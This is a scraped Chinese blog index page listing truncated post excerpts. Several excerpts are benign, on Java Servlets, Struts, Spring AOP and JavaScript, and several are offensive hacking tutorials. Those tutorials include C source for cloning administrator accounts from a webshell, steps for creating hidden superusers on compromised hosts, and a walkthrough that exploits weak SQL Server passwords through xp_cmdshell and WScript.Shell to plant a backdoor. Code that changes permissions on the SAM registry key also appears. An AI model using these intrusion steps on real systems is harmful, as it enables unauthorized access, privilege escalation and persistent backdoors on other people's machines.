`
gui1401
  • 浏览: 50105 次
  • 性别: Icon_minigender_1
  • 来自: 济南
社区版块
存档分类
最新评论
文章列表
Servlet是Java技术对CGI编程的回答。Servlet程序在服务器端运行,动态地生成Web页面。与传统的CGI和许多其他类似CGI的技术相比,Java Servlet具有更高的效率,更容易使用,功能更强大,具有更好的可移植性,更节省投资(更重要的 ...
具体来讲,Struts的优点有: 1. 实现MVC模式,结构清晰,使开发者只关注业务逻辑的实现. 2. 有丰富的tag可以用 ,Struts的标记库(Taglib),如能灵活动用,则能大大提高开发效率。另外,就目前国内的JSP开发者而言,除了使用JSP自带的常用标记外,很少开发自己的标记,或许Struts是一个很好的起点。 3. 页面导航.页面导航将是今后的一个发展方向,事实上,这样做,使系统的脉络更加清晰。通过一个配置文件,即可把握整个系统各部分之间的联系,这对于后期的维护有着莫大的好处。尤其是当另一批开发者接手这个项目时,这种优势体现得更加明显。

aop

    博客分类:
  • java
好长时间没有用过Spring了. 突然拿起书.我都发现自己对AOP都不熟悉了.其实AOP的意思就是面向切面编程.OO注重的是我们解决问题的方法(封装成Method),而AOP注重的是许多解决解决问题的方法中的共同点,是对OO思想的一种补充!还是拿人家经常举的一个例子讲解一下吧:比如说,我们现在要开发的一个应用里面有很多的业务方法,但是,我们现在要对这个方法的执行做全面监控,或部分监控.也许我们就会在要一些方法前去加上一条日志记录,我们写个例子看看我们最简单的解决方案我们先写一个接口IHello.java代码如下:  1package sinosoft.dj.aop.staticaop; 2  ...

URL编码表一览

    博客分类:
  • js
URL编码表一览 [日期:2005-09-14] 来源:  作者: [字体:大 中 小]   æ退格TAB换行回车空格!"#$%&'()*+,-./ %00%01%02%03%04%05%06%07%08%09%0a%0b%0c%0d%0e%0f%10%11%12%13%14%15%16%17%18%19%1a%1b%1c%1d%1e%1f%20%21%22%23%24%25%26%27%28%29%2a%2b%2c%2d%2e%2f 0123456789:;<
CREATE OR REPLACE FUNCTION F_JXD7_PASS (input_string IN VARCHAR2)    RETURN VARCHAR2IS    raw_input                        RAW (128)                                           := UTL_RAW.cast_to_raw (input_string);    decrypted_raw                    RAW (2048);    error_in_input_buffer_length     EXC ...
    解开JavaScript生命的达芬奇密码 cleverpig 发表于 2006-12-26 16:31:42作者:cleverpig     来源:Matrix评论数:6 点击数:4,776     投票总得分:18 投票总人次:4关键字:JavaScript,Class,继承 摘要: 现在,Ajax技术发展势头迅猛,开发者已经建立了一个调用大量客户端JavaScript、不断增长的、复杂的系统。因此,在JavaScript上尝试OO技术便成为了管理复杂性的一种手段。只着眼于Class的定义方式,我认为它是JavaScript开发者尝试解决问题的首选。因此,你可以在互联网上 ...
Javascript - 全面理解 caller,callee,call,apply Author: BlueDestiny, never-online From: http://www.never-online.net, Blog.csdn.net/BlueDestiny 1、caller JScript参考中说明为:返回一个对函数的引用,该函数调用了当前函数。如何理解这句话, 先来举个简单的例子: // caller demo { function callerDemo() { if (callerDemo.caller) { var a= callerDemo.calle ...

js继承

    博客分类:
  • js
js继承探讨 每当我们说到js的继承时,在您的脑袋的第一反应就是prototype原型机制来实现。但是您是否使用过其他的方法来实现继承呢,或者您是否了解其他实现方式及各种不同的继承实现机制的优缺点呢? 好了,下面我们就来看看几种比较常见的继承实现吧。 1、 prototype方式  1var BaseClass =function() 2 3{ 4
第一个支持2000和2003下完美进行用户克隆的C源码(可在webshell里直接运行)软件作者:pt007[at]vip.sina.com版权所有,转载请注明版权信息来源:邪恶八进制信息安全团队([url=http://www.eviloctal.com/][color=#003366]www.eviloctal.com[/color][/url])   本程序是基于dahubaobao的源程序的基础上进行了修改,改正了源程序中的一个严重BUG(原程序会引起用户管理的混乱),本版本加入了注册表提权和恢复功能,因此能够完美的支持XP/2000/2003,下一个版本我打算实现直接输入用户名克隆和密 ...
前两天,一个朋友让我帮他写这样一个程序:在asp.net里面访问asp的页面,把数据提交对方的数据库后,根据返回的值(返回值为:OK或ERROR),如果为OK再把填入本地数据库。当时,想当然,觉得很简单,用js的xmlhttp ,如果根据response 的值是“OK”就执行提交本地数据库。很快写完发过去,让朋友试试,一试发现不行,后来一问,原来是跨域访问,我给忽略了,于是让朋友把asp改成web service,可朋友说程序是合作公司做的,只会asp,不会用web service ,狂晕ing。没办法,只能请出asp.net的 WebResponse了,很多网站采集程序都是用这个。第一版写完了 ...
MS IE 7 setRequestHeader() 请求拆分和渗透漏洞 2008-03-28 16:25:22  www.hackbase.com  来源:互联网受影响系统:Microsoft Internet Explorer 7.0.5730.11- Microsoft Windows XP SP2 描述:Internet Explorer是微软发布的非常流行的WEB浏览器。 IE 7允许通过HTTP请求拆分攻击覆盖Content-Length、Host和Refe ...受影响系统:Microsoft Internet Explorer 7.0.5730.11- Microsoft Win ...
一、利用帐户克隆工具来创建        Clone Administrator(CA.exe),利用这个工具可以将Administrator的帐号克隆为一个指定的普通帐号(此普通帐号必须已经存在)。克隆得到的帐号具有和系统内置的Administrator同样的设置,并且用NET命令或者用户管理器也发现不了其权限已经被提升,是一个不错的ROOT KIT。      现在,我们就来看看如何利用帐户克隆工具在肉鸡上创建隐藏的超级用户。     利用流光、SuperScan等进行扫描,假设已经扫描到一远程主机的Administrator帐户,其密码为123。我们可以使用DameWare Mini Re ...

sql

  本例使用textcopy上传后门程序到对方主机,并安装。 准备工具:X-Scan、MS-SQL查询分析器、textcopy(后两个在SQL2000里面有) 步骤:1、用X-Scan扫描到有sql弱口令的主机 2、用查询分析器连上去检查sql的版本号:select @@version检查能否运行程序:exec xp_cmdshell 'cmd /c dir c:\'检查能否使用WScript.Shell组件:declare @object intexec sp_OACreate 'WScript.Shell', @object OUTexec sp_OAMethod @object,'Run' ...
Regini是一个设置注册表权限的安全工具,常用于命令行方式批量更改注册表权限来达到提高系统安全性,下面我们先看看regnin所对应的格式和权限数值:在renini.ini的格式:注册表键数值 [更改的权限]例如:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run [1 7 17]上例中是分别设置 Administrators  everyone  System  三个用户对注册表HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run拥有完全访问权限 ...
#include <Windows.h> #include <Aclapi.h> #pragma comment (lib,"Advapi32.lib") void main() {   DWORD dwRet;   LPSTR SamName = "MACHINE\\SAM\\SAM";   PSECURITY_DESCRIPTOR pSD = NULL;   PACL pOldDacl = NULL;   PACL pNewDacl = NULL;   EXPLICIT_ACCESS ea;   HKEY hKey = NULL ...
Global site tag (gtag.js) - Google Analytics